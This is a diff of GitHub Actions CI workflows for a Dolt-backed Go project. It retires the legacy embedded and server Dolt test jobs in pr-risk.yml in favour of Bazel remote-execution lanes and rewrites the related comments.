-1242,9 +1229,8 @@ jobs: # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every # other shard, farm capacity permitting. - # On same-repo pull_requests those jobs stand down (pr-risk.yml's - # bazel-coverage), so this lane is then the tier's only PR run - # and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. # The runs-on expression is the shared one: Blacksmith in mode remote, # GitHub-hosted in the fork modes (a client only). needs: rbe @@ -1313,8 +1299,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 1 this lane is the tier's only pre-merge run on - # same-repo PRs. The shard scripts discover tests from source, but each + # This lane is the tier's only pre-merge run. The shard scripts discover tests from source, but each # Bazel binary holds only its target's srcs: a listed test the binary # lacks matches nothing and passes silently. Fail unless every Bazel # shard ran exactly the tests its script lists (list-only mode, cheap), @@ -1670,9 +1655,7 @@ jobs: # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. - # PR Risk builds its bd-cmd-test with -race, as here; main.yml's - # test-proxied-cmd twin uses build-artifacts' non-race bd-cmd-test, so - # this lane is the stricter of the two. It also runs + # The test binary is race, as PR Risk's retired jobs built it. It also runs # //cmd/bd:bd_managed_local_test, the managed-local proxied lifecycle # (formerly proxied-local-smoke.yml) in a loopback-only network # namespace, which needs the workers' unprivileged user namespaces. A job @@ -1683,9 +1666,8 @@ jobs: # Remote execution only, like bazel-embedded: 30 concurrent shards, each # running its own dolt sql-server busy on ~4 cores, do not fit a # GitHub-hosted runner regardless of any single shard's wall time. - # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's - # bazel-coverage; D2 step 2), so this lane is then the tier's only PR - # run and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -1779,8 +1761,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 2 this lane is the tier's only pre-merge run on - # same-repo PRs: as in bazel-embedded, every Bazel shard must run + # This lane is the tier's only pre-merge run: as in bazel-embedded, every Bazel shard must run # exactly the tests its shard script lists, and not only skips. - name: Every listed test ran in its shard if: ${{ always() && steps.test.outcome != 'skipped' }} @@ -1856,9 +1837,8 @@ jobs: name: server-Dolt storage tier # Remote execution only, like bazel-integration: locally the tagged race # build of //... alone is most of the timeout. - # On same-repo pull_requests the legacy jobs stand down (pr-risk.yml's - # bazel-coverage; D2 step 2), so this lane is then the tier's only PR - # run and pr.yml's gate requires it to have run here and passed. + # This lane is the tier's only PR run (pr-risk.yml's legacy jobs are + # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: ${{ needs.rbe.outputs.enabled == 'true' }} @@ -1924,8 +1904,7 @@ jobs: if: ${{ always() && steps.test.outcome != 'skipped' }} run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" - # Since D2 step 2 this lane is the tier's only pre-merge run on - # same-repo PRs: as in bazel-embedded, every full-suite shard must run + # This lane is the tier's only pre-merge run: as in bazel-embedded, every full-suite shard must run # exactly the tests its shard script lists, and neither it nor the # conformance target only skips. - name: Every listed test ran in its shard @@ -2139,8 +2118,7 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # F3: moved here from pr.yml so the gate depends on nothing but the rbe - # job's decision (not detect-package-gates, build-artifacts, bazel-coverage - # or the whole bazel call). Only pr.yml opts in (package-gates: "on"); + # job's decision (not the whole bazel call). Only pr.yml opts in (package-gates: "on"); # bazel-farm.yml and nightly.yml keep the default "off" and this job does # not run for them. Same-repo PRs get a Bazel-built bd (no --config=ci: # only test:ci is defined in .bazelrc, so bazel build //cmd/bd:bd_for_tests diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index a8c56606e..1e0db9633 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -20,562 +20,17 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's - # only pre-merge run, and pr.yml's gate goes red unless they ran remotely - # and passed. Committed, not repo variables, so a re-run can never change - # them; each must equal pr.yml's / pr-risk.yml's copy - # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both - # workflows (in-flight PRs pick it up on their next push or merge of main). - # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). - BAZEL_RETIRES_LEGACY_EMBEDDED: "true" - # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel - # `proxied-server tier` and `server-Dolt storage tier`). - BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" - # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml - # run: PR Core, build-artifacts, the pure-Go/js-wasm check, domain+uow and - # contract corpus (Bazel `test`, `pure-Go and js/wasm`, `dolt-server - # lane`). pr-risk.yml retires nothing for it; its copy only keeps the - # shared bazel-coverage job identical. - BAZEL_RETIRES_LEGACY_PR_LANES: "true" - # Fork and Dependabot PRs: "true" covers them like same-repo PRs (the - # flags above then retire their legacy tiers too): rbe-west's mint - # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork - # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red, never a silent fall back to the legacy tiers. - # "false": they keep the legacy tiers, and the Bazel lanes run remotely - # beside them whenever rbe-fork is open (bazel.yml modes - # fork-ro/fork-rw), else locally with the read-only cache as before. - # "true" since ga-96smfk.15: after the canary every fork and Dependabot - # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint - # becomes unreliable: commit "false" in both workflows. - BAZEL_COVERS_FORKS: "true" + +# The legacy Go test tiers this workflow used to run (embedded Dolt storage, +# conformance and cmd shards; proxied-server cmd shards; server-Dolt storage +# and full suite) are pr.yml's Bazel lanes on rbe-west now: `embedded Dolt +# tier`, `proxied-server tier` and `server-Dolt storage tier` (bazel.yml), +# which pr.yml's `CI Gate / Required` requires to have run remotely and +# passed on every pull_request and merge group, fork and Dependabot PRs +# included (ga-96smfk.22). What remains is the Nix packaging check, which no +# Bazel target can stand in for: it builds the package Nix users install. jobs: - detect-ci-tier: - name: Detect CI tier - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - # F3: now on Blacksmith for same-repo PRs; a hang used to burn only the - # default 360 minutes of a free GitHub-hosted runner, now Blacksmith - # minutes too. - timeout-minutes: 10 - outputs: - full_embedded: ${{ steps.tier.outputs.full_embedded }} - reason: ${{ steps.tier.outputs.reason }} - shadow_embedded_cli: ${{ steps.shadow-selector.outputs.embedded_cli }} - shadow_proxied_cli: ${{ steps.shadow-selector.outputs.proxied_cli }} - shadow_embedded_storage: ${{ steps.shadow-selector.outputs.embedded_storage }} - shadow_embedded_conformance: ${{ steps.shadow-selector.outputs.embedded_conformance }} - shadow_server_conformance: ${{ steps.shadow-selector.outputs.server_conformance }} - shadow_full: ${{ steps.shadow-selector.outputs.full }} - shadow_reason: ${{ steps.shadow-selector.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide embedded Dolt coverage - id: tier - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: bash .github/scripts/ci-embedded-tier.sh - - - name: Shadow CI capability selector - id: shadow-selector - continue-on-error: true - env: - GITHUB_EVENT_NAME: ${{ github.event_name }} - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: | - set -o pipefail - selection="$(bash .github/scripts/ci-capability-selector.sh)" - printf '%s\n' "$selection" - { - echo '### Shadow CI capability selector' - printf '%s\n' "$selection" | sed 's/^/- `/' | sed 's/$/`/' - } >> "$GITHUB_STEP_SUMMARY" - - # D2: which legacy tiers below stand down because pr.yml's gated Bazel - # lanes run them instead: `embedded` (the test-embedded-* jobs; Bazel - # `embedded Dolt tier`) and `dolt_server` (test-proxied-cmd and the - # test-server-storage* jobs; Bazel `proxied-server tier` and `server-Dolt - # storage tier`), plus `pr_lanes`, which only pr.yml reads (its own PR - # Core, build-artifacts, pure-Go, domain+uow and contract corpus jobs). - # Each is true only with its committed BAZEL_RETIRES_LEGACY_* flag, on a - # same-repo (not fork) pull_request whose actor is not Dependabot, or on a - # merge_group (merge queue) run. pr.yml runs this same job (policy-tested - # identical) and its gate goes red unless the lanes then ran remotely and - # passed, so neither the kill switch (mode skip) nor a missing executor - # secret (mode cache) can silently drop a tier. Forks and Dependabot (no - # secrets; unless BAZEL_COVERS_FORKS) and every other event keep the - # legacy tiers. The step reads no secret or variable and runs no - # repository code. - bazel-coverage: - name: Bazel tier coverage - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache, so Blacksmith's inability to see one does not cost - # it anything. Must stay byte-identical to pr.yml's copy - # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners - # pin. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - embedded: ${{ steps.decide.outputs.embedded }} - dolt_server: ${{ steps.decide.outputs.dolt_server }} - pr_lanes: ${{ steps.decide.outputs.pr_lanes }} - steps: - # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's - # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS - # and not the executor secret (either, evaluated per run, would let one - # workflow's re-run disagree with the other's). A same-repo PR whose run - # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of a tier silently moving back. Fork and Dependabot - # runs get no Actions secrets by design: they are covered only while - # BAZEL_COVERS_FORKS is "true" (rbe-fork gives their lanes remote - # execution), and then a closed rbe-fork turns them red the same way; - # it never moves them back to a legacy tier silently. github.actor - # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide which legacy tiers the Bazel lanes cover - id: decide - env: - RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} - RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} - RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} - COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} - PULL_REQUEST: ${{ github.event_name == 'pull_request' }} - MERGE_GROUP: ${{ github.event_name == 'merge_group' }} - FORK: ${{ github.event.pull_request.head.repo.fork == true }} - DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} - run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do - case "${!v}" in - true|false) ;; - *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; - esac - done - # Covered: the Bazel lanes are this run's only run of the retired - # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it - # runs on the queue's gh-readonly-queue/* branch of this repository - # with the CI secrets, its actor is github-merge-queue[bot] (never - # Dependabot), and bazel.yml's rbe job takes mode remote for it - # like for a same-repo PR, so a missing secret or the farm switch - # off turns pr.yml's gate red rather than dropping a tier. - covered=false - if [ "$MERGE_GROUP" = true ]; then - covered=true - elif [ "$PULL_REQUEST" = true ]; then - if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true - elif [ "$COVERS_FORKS" = true ]; then - covered=true - fi - fi - embedded=false - if [ "$covered" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then - embedded=true - fi - dolt_server=false - if [ "$covered" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then - dolt_server=true - fi - pr_lanes=false - if [ "$covered" = true ] && [ "$RETIRED_PR_LANES" = true ]; then - pr_lanes=true - fi - { - echo "embedded=$embedded" - echo "dolt_server=$dolt_server" - echo "pr_lanes=$pr_lanes" - } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" - - # End-to-end coverage for proxied-server CLI subcommands, sharded across the - # CI matrix. Each sub-test drives the bd CLI subprocess against a real dolt - # sql-server started via testcontainers by the shared proxied harness - # (cmd/bd/*_proxied_integration_test.go). - # - # Reuses the cmd/bd test binary compiled once by build-embedded: the proxied - # tests live in the same package and are gated at runtime by - # BEADS_TEST_PROXIED_SERVER=1, so no separate build is needed. Shard - # assignment is committed in .github/scripts/proxied-cmd-test-shards.txt; - # newly-added TestProxiedServer*/TestServerMode* tests hash-distribute until - # listed there. Stands down, with the test-server-storage* jobs, where - # bazel-coverage's dolt_server says pr.yml's gated Bazel `proxied-server - # tier` lane runs it (D2 step 2). - test-proxied-cmd: - name: Test (Proxied Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 30 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-proxied /tmp/bd-cmd-test - - - name: Install Dolt CLI - # TestProxiedServerExternalCreate needs the dolt binary on PATH; the - # shared harness itself uses the dolt sql-server container image. - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # The shared proxied harness requires the image cached locally - # (isDoltImageCached); without it every proxied test self-skips. Keep the - # tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test proxied-server cmd shard - timeout-minutes: 16 - env: - BEADS_TEST_PROXIED_SERVER: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-proxied - BEADS_TEST_CMD_BINARY: /tmp/bd-cmd-test - run: bash .github/scripts/proxied-test-shard.sh ${{ matrix.shard }} 15 - - # Embedded Dolt tests - test the in-process Dolt engine (no server required) - # - # Split into: build → storage tests + parallel cmd test shards. - # cmd/bd embedded tests use a committed shard manifest; newly-added tests - # still auto-distribute via hash fallback until the manifest is updated. - # - # The storage, conformance and cmd test jobs stand down when - # bazel-coverage says pr.yml's gated Bazel `embedded Dolt tier` lane runs - # them instead (its `embedded` output); the proxied and server Dolt jobs - # when its Bazel `proxied-server tier` and `server-Dolt storage tier` lanes - # do (`dolt_server`). build-embedded's embedded-test-binaries artifact - # feeds all six (and nothing else), so it stands down only when both do. - - build-embedded: - name: Build (Embedded Dolt) - needs: [detect-ci-tier, bazel-coverage] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs.bazel-coverage.outputs.embedded != 'true' || needs.bazel-coverage.outputs.dolt_server != 'true') - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Restore non-race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build embedded bd binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/ - - - name: Build embedded storage test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/ - - - name: Build embedded cmd test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/race - run: go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/ - - # Non-race bd used as the proxied-server test subprocess. The proxied - # tests spawn bd many times per sub-test; a -race subprocess would slow - # every invocation, so build a plain binary for BEADS_TEST_BD_BINARY. - - name: Build proxied bd subprocess binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/ - - # Server-Dolt conformance binary. No -race: the Dolt server runs - # out-of-process in a container, and omitting it keeps the run inside the - # job's timeout. The dolt package self-skips without the docker image, so - # the binary is harmless if its job is gated off. - - name: Build server Dolt conformance test binary - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: go test -tags=integration,gms_pure_go -c -o /tmp/dolt-conformance-test ./internal/storage/dolt/ - - - name: Upload binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: embedded-test-binaries - path: | - /tmp/bd-embedded-test - /tmp/embeddeddolt-test - /tmp/bd-cmd-test - /tmp/bd-proxied - /tmp/dolt-conformance-test - retention-days: 1 - - test-embedded-storage: - name: Test (Embedded Dolt Storage ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - # The shard script's -test.timeout=20m plus setup. At 15m the 1000-item - # batch-apply cap cancelled shard 2/5: TestBatchApplyContract took 604s - # under -race (97s at the 100-item cap, main run 35862663577) and the - # shard hit 15m twice (run 36807191489). The manifest now pins the heavy - # tests apart; the heaviest shard projects to ~13m. - timeout-minutes: 25 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - # Manifest-driven shard of the storage suite (mirrors test-embedded-cmd - # / embedded-test-shard.sh). Conformance runs separately in the - # dedicated test-embedded-conformance job; embedded-storage-test-shard.sh - # excludes TestConformance from discovery, so it never lands in one of - # these shards. - run: bash .github/scripts/embedded-storage-test-shard.sh ${{ matrix.shard }} 5 - - test-embedded-conformance: - name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - timeout-minutes: 35 - strategy: - fail-fast: false - matrix: - partition: [core, audit] - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test core conformance - if: matrix.partition == 'core' - # RunAll has a natural Audit seam. Run everything except Audit in the - # core shard and Audit alone in the other shard. The combined suite has - # exceeded 30m under runner variance; each half currently takes ~15m. - # Keep the Go timeout below the job timeout so a real stall still emits - # a diagnostic goroutine dump before Actions stops the job. - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$' - - - name: Test audit conformance - if: matrix.partition == 'audit' - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$' - - test-server-storage: - name: Test (Server Dolt Conformance) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 20 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/dolt-conformance-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Presence of this image flips isDoltImageCached() true, so the suite - # exercises server Dolt instead of self-skipping. Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test - # Server twin of test-embedded-conformance: same conformance.RunAll, but - # against the container-backed server-mode Dolt backend. No -short / no - # BEADS_TEST_SKIP=dolt, so TestMain starts the shared server and the - # suite runs instead of self-skipping. - run: /tmp/dolt-conformance-test -test.v -test.count=1 -test.timeout=15m -test.run '^TestConformance$' - - test-server-storage-full: - name: Test (Server Dolt Full Suite ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.dolt_server != 'true' - runs-on: ubuntu-latest - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/dolt-conformance-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Presence of this image flips isDoltImageCached() true, so the suite - # exercises server Dolt instead of self-skipping. Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test - # build-embedded's dolt-conformance-test binary compiles every - # top-level test in internal/storage/dolt, not just conformance -- - # test-server-storage above only ever runs the ^TestConformance$ - # subset. Everything else in that binary (TestCreateGuard_*, - # federation/create-guard/concurrent suites, and diff-owned tests such - # as TestBenchDBPurgeDoesNotLeak on PR #5792) was reached by no - # PR-triggered lane and silently SKIPped for lack of a live server. - # This sibling job reuses the same artifact and server setup and runs - # everything else instead, so a SKIP there gets a real PASS/FAIL. - # - # Manifest-driven shard of the full suite (mirrors test-embedded-storage - # / server-storage-test-shard.sh): 1126 tests in one 15m-Go-timeout job - # never finished (job 95616282508 died at 256/1126 tests, 15m28s in, - # zero failures -- it just ran out of time). server-storage-test-shard.sh - # excludes TestConformance from discovery, so it never lands in one of - # these shards. - env: - BEADS_TEST_ENV_RUN_DOLT: "1" - run: bash .github/scripts/server-storage-test-shard.sh ${{ matrix.shard }} 16 - - test-embedded-cmd: - name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, bazel-coverage, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' && needs.bazel-coverage.outputs.embedded != 'true' - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-embedded-test /tmp/embeddeddolt-test /tmp/bd-cmd-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-embedded-test - run: bash .github/scripts/embedded-test-shard.sh ${{ matrix.shard }} 20 - test-nix: name: Test Nix Flake # F7a: cache-free (no GitHub-saved cache restored/saved here) same-repo @@ -623,15 +78,6 @@ jobs: # minutes too. timeout-minutes: 10 needs: - - detect-ci-tier - - bazel-coverage - - build-embedded - - test-embedded-storage - - test-embedded-conformance - - test-server-storage - - test-server-storage-full - - test-embedded-cmd - - test-proxied-cmd - test-nix if: ${{ always() }} steps: @@ -641,47 +87,6 @@ jobs: env: CI_GATE_NAME: PR risk gate CI_GATE_REQUIRED: >- - DETECT_CI_TIER - BAZEL_COVERAGE - BUILD_EMBEDDED - TEST_EMBEDDED_STORAGE - TEST_EMBEDDED_CONFORMANCE - TEST_SERVER_STORAGE - TEST_SERVER_STORAGE_FULL - TEST_EMBEDDED_CMD - TEST_PROXIED_CMD TEST_NIX - FULL_EMBEDDED: ${{ needs.detect-ci-tier.outputs.full_embedded }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} - BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} - DETECT_CI_TIER: ${{ needs.detect-ci-tier.result }} - BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} - BUILD_EMBEDDED: ${{ needs.build-embedded.result }} - TEST_EMBEDDED_STORAGE: ${{ needs.test-embedded-storage.result }} - TEST_EMBEDDED_CONFORMANCE: ${{ needs.test-embedded-conformance.result }} - TEST_SERVER_STORAGE: ${{ needs.test-server-storage.result }} - TEST_SERVER_STORAGE_FULL: ${{ needs.test-server-storage-full.result }} - TEST_EMBEDDED_CMD: ${{ needs.test-embedded-cmd.result }} 